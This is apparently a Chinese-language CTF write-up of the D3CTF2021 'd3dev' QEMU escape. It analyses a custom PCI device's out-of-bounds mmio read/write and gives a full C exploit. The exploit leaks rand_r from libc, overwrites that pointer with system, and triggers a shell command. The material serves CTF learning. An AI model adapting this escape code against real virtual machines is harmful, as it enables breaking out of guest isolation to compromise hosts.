【qemu逃逸】D3CTF2021-d3dev

本文讲述了在Docker环境中调试遇到的问题,介绍了如何利用mmio和pmio的漏洞进行越界读写,进而泄漏并控制程序执行流,最终实现任意命令执行的过程。作者还提到了QEMU中的数组越界现象和mmio_read行为的不解之处。
摘要由CSDN通过智能技术生成

前言

题目给的是一个 docker 环境,所以起环境非常方便,但是该怎么调试呢?有无佬教教怎么在 docker 中调试?

我本来想着直接起一个环境进行调试,但是缺了好的库,所以就算了,毕竟本题也不用咋调试。

然后题目是带符号的,所以设备定位就不说了;然后这一题我存在一些疑问,后面在总结部分会讲,希望有佬可以解答。

设备逆向

题目注册了 mmio 和 pmio,先来看看实例结构体:

blocks 就是我们之后操作的 buf,然后再其后面有一个 rand_r 函数指针,所以老套路了,多半都是越界读写这个函数指针去控制程序执行流。

 d3dev_pmio_read 函数

比较简单,就是去读取 d3devState 中的某些字段。

d3dev_pmio_write 函数

该函数有两个跟后面利用相关的功能,第一个是可以设置 seek 最大为 0x100;第二个是可以调用 rand_r(r_seed),并且 r_seed 是直接可控的;然后还可以设置 key 为 0,这个 key 是后面 tea 加密的密钥。

d3dev_mmio_read 函数

该函数就是去读取 blocks 中的数据,但是会进行 tea 加密,tea 加密很好解决,我们可以利用 d3dev_pmio_read 去直接把 key 读出来,也可以通过 d3dev_pmio_write 去把 key 直接设置为 0。

这里存在一个比较明显的漏洞,blocks 数组的大小为 257,虽然在 mmio 中会检查 addr 的范围。mmio 的大小是 0x800,而 blocks 为 qword 数组,刚好也是 0x800 字节,所以通过 addr 可以读取到 blocks 的末尾,但是我们可以去设置 seek,这样就可以越界读 0x800 字节了。

d3dev_mmio_write 函数

同理该函数存在越界写。

漏洞利用

很明显了,在上面说了在 blocks 后面存在 rand_r 函数指针,而该指针指向的是 libc 中的地址:

所以通过越界读可以去泄漏 libc 地址,从而计算出 system 地址。

然后通过越界写去修改 rand_r 函数指针指向 system。

 然后触发 rand_r(r_seed) 即可造成任意命令执行(这里 r_seed 是可控的,可以看下上面的源码)

exp 如下:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/io.h>
#include <sys/mman.h>

void * mmio_base = 0;
void * pmio_base = 0xc040;
void mmio_init()
{
        int fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR);
        if (fd < 0) puts("[X] open for mmio"), exit(EXIT_FAILURE);
        mmio_base = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
        if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);
        if (mlock(mmio_base, 0x1000) < 0) puts("[X] mlock for mmio"), exit(EXIT_FAILURE);
}

uint64_t mmio_read(uint64_t offset)
{
        return *(uint64_t*)(mmio_base + (offset << 3));
}

void mmio_write(uint64_t offset, uint64_t val)
{
        *(uint64_t*)(mmio_base + (offset << 3)) = val;
}

void pmio_init()
{
        if (iopl(3) < 0) puts("[X] iopl for pmio"), exit(EXIT_FAILURE);
}

void pmio_write(uint64_t addr, uint64_t val)
{
        outl(val, pmio_base+addr);
}

void enc(uint32_t data[2])
{
        uint32_t delta = 0xC6EF3720;
        do {
                data[1] -= (data[0]+delta) ^ (data[0] >> 5) ^ (data[0] << 4);
                data[0] -= (data[1]+delta) ^ (data[1] >> 5) ^ (data[1] << 4);
                delta += 0x61C88647;
        } while(delta);
}

void dec(uint32_t data[2])
{
        uint32_t delta = 0;
        do {
                delta -= 0x61C88647;
                data[0] += (data[1]+delta) ^ (data[1] >> 5) ^ (data[1] << 4);
                data[1] += (data[0]+delta) ^ (data[0] >> 5) ^ (data[0] << 4);
        } while(delta != 0xC6EF3720);

}


uint64_t arb_read(uint64_t offset)
{
        uint64_t enc_addr = mmio_read(offset);
        printf("[+] enc_addr: %#p\n", enc_addr);
        dec(&enc_addr);
        return enc_addr;
}



int main(int argc, char** argv, char** envp)
{
        mmio_init();
        pmio_init();

        pmio_write(4, 0);
        pmio_write(8, 0x100);

        uint64_t rand_r_addr = arb_read(3);
        printf("[+] rand_r addr: %#p\n", rand_r_addr);

        uint64_t system_addr = rand_r_addr - 0x47D30 + 0x52290;
        printf("[+] system addr: %#p\n", system_addr);

        enc(&system_addr);
        mmio_write(3, system_addr);
        printf("[+] now rand_r: %p", arb_read(3));
        pmio_write(28, 0x6873);

        return 0;
}

效果如下:

总结与疑问

在 CTF 中,qemu 的题目还是多为数组越界,还没接触到堆的题目,比较菜啦。

然后就是这里 mmio_read 我很懵逼,这里 mmio_read 读取的字节数好像是由用户决定的:

因为这里 low_data 是 unsigned_int ,所以返回值最高4字节应该为0,但是你会发现这里可以直接返回一个完整的内容。

这里好像是当你读取 8 字节时,qemu 会自动读取两次,具体原因我也不是很清楚。 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值